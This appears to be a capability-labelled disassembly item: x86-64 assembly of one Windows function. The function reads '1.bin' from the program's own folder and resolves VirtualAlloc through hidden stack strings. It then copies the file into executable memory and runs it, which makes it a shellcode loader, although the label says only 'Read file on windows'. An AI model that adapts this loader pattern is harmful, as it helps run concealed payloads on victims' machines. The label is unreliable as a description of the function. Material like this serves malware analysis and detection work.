Function at 0x401560
Capabilities:
Read file on windows

Disassembly:
push rbp
sub rsp, 0x1a0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xe2], 0x69622e31
mov word [rbp + 0xe6], 0x6e
lea rax, [rbp - 0x30]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x30]
mov edx, 0x5c
mov rcx, rax
call sym.strrchr
mov qword [rbp + 0x118], rax
cmp qword [rbp + 0x118], 0
je 0x4015ca
mov rax, qword [rbp + 0x118]
mov byte [rax], 0
lea rax, [rbp - 0x30]
lea rdx, section..rdata
mov rcx, rax
call sym.int_strcat_s_260ull__char_____260ull___char_const_
lea rdx, [rbp + 0xe2]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.int_strcat_s_260ull__char_____260ull___char_const_
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x38]
lea r8, [0x00409010]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_fopen_s]
call rax
test eax, eax
setne al
test al, al
je 0x40162a
lea rcx, [0x0040a002]
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x401935
mov rax, qword [rbp - 0x38]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.ftell
cdqe
mov qword [rbp + 0x110], rax
mov rax, qword [rbp - 0x38]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x110]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x108], rax
cmp qword [rbp + 0x108], 0
jne 0x4016af
lea rcx, [0x0040a016]
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
mov eax, 0xffffffff
jmp 0x401935
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rbp + 0x110]
mov rax, qword [rbp + 0x108]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
cmp qword [rbp + 0x110], rax
setne al
test al, al
je 0x401713
lea rcx, str._n
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x108]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
mov eax, 0xffffffff
jmp 0x401935
movabs rax, 0x32336c656e72654b
mov qword [rbp - 0x45], rax
mov dword [rbp - 0x3d], 0x6c6c642e
mov byte [rbp - 0x39], 0
lea rax, [rbp - 0x45]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x100], rax
cmp qword [rbp + 0x100], 0
jne 0x40177e
lea rcx, str.Kernel32.dll_n
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x108]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
mov eax, 0xffffffff
jmp 0x401935
movabs rax, 0x416c617574726956
mov qword [rbp - 0x52], rax
mov dword [rbp - 0x4a], 0x636f6c6c
mov byte [rbp - 0x46], 0
lea rdx, [rbp - 0x52]
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
jne 0x401803
lea rcx, str.VirtualAlloc_n
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov rax, qword [rbp + 0x108]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
mov eax, 0xffffffff
jmp 0x401935
mov rax, qword [rbp + 0x110]
mov r10, qword [rbp + 0xf8]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
call r10
mov qword [rbp + 0xf0], rax
cmp qword [rbp + 0xf0], 0
jne 0x40187d
lea rcx, [0x0040a016]
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov rax, qword [rbp + 0x108]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
mov eax, 0xffffffff
jmp 0x401935
mov rcx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x108]
mov rax, qword [rbp + 0xf0]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0xf0]
call rax
mov rax, qword [rbp + 0x108]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
movabs rax, 0x466c617574726956
mov qword [rbp - 0x5e], rax
mov dword [rbp - 0x56], 0x656572
lea rdx, [rbp - 0x5e]
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
je 0x40191d
mov rax, qword [rbp + 0xf0]
mov r9, qword [rbp + 0xe8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov eax, 0
add rsp, 0x1a0
pop rbp
ret